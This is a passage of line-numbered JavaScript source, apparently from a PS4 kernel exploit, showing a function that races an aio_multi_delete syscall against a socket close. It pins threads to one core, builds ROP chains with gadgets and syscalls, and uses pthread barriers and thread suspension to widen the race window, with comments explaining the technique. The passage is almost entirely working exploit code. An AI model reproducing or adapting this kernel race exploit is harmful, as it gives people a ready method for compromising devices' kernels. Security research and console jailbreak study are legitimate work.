(request_addr, tcp_sd, barrier, racer, sds)
| 589 | // // ... |
| 590 | // } |
| 591 | function race_one(request_addr, tcp_sd, barrier, racer, sds) { |
| 592 | const sce_errs = new View4([-1, -1]); |
| 593 | const thr_mask = new Word(1 << main_core); |
| 594 | |
| 595 | const thr = racer; |
| 596 | thr.push_syscall("cpuset_setaffinity", CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 8, thr_mask.addr); |
| 597 | thr.push_syscall("rtprio_thread", RTP_SET, 0, rtprio.addr); |
| 598 | thr.push_gadget("pop rax; ret"); |
| 599 | thr.push_value(1); |
| 600 | thr.push_get_retval(); |
| 601 | thr.push_call("pthread_barrier_wait", barrier.addr); |
| 602 | thr.push_syscall("aio_multi_delete", request_addr, 1, sce_errs.addr_at(1)); |
| 603 | thr.push_call("pthread_exit", 0); |
| 604 | |
| 605 | const pthr = spawn_thread(thr); |
| 606 | const thr_tid = pthr.read32(0); |
| 607 | |
| 608 | // pthread barrier implementation: |
| 609 | // |
| 610 | // given a barrier that needs N threads for it to be unlocked, a thread |
| 611 | // will sleep if it waits on the barrier and N - 1 threads havent't arrived |
| 612 | // before |
| 613 | // |
| 614 | // if there were already N - 1 threads then that thread (last waiter) won't |
| 615 | // sleep and it will send out a wake-up call to the waiting threads |
| 616 | // |
| 617 | // since the ps4's cores only have 1 hardware thread each, we can pin 2 |
| 618 | // threads on the same core and control the interleaving of their |
| 619 | // executions via controlled context switches |
| 620 | |
| 621 | // wait for the worker to enter the barrier and sleep |
| 622 | while (thr.retval_int === 0) { |
| 623 | sys_void("sched_yield"); |
| 624 | } |
| 625 | |
| 626 | // enter the barrier as the last waiter |
| 627 | chain.push_call("pthread_barrier_wait", barrier.addr); |
| 628 | // yield and hope the scheduler runs the worker next. the worker will then |
| 629 | // sleep at soclose() and hopefully we run next |
| 630 | chain.push_syscall("sched_yield"); |
| 631 | // if we get here and the worker hasn't been reran then we can delay the |
| 632 | // worker's execution of soclose() indefinitely |
| 633 | chain.push_syscall("thr_suspend_ucontext", thr_tid); |
| 634 | chain.push_get_retval(); |
| 635 | chain.push_get_errno(); |
| 636 | chain.push_end(); |
| 637 | chain.run(); |
| 638 | chain.reset(); |
| 639 | |
| 640 | const main_res = chain.retval_int; |
| 641 | log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`); |
| 642 | |
| 643 | if (main_res === -1) { |
| 644 | call_nze("pthread_join", pthr, 0); |
| 645 | log(); |
| 646 | return null; |
| 647 | } |
| 648 |
no test coverage detected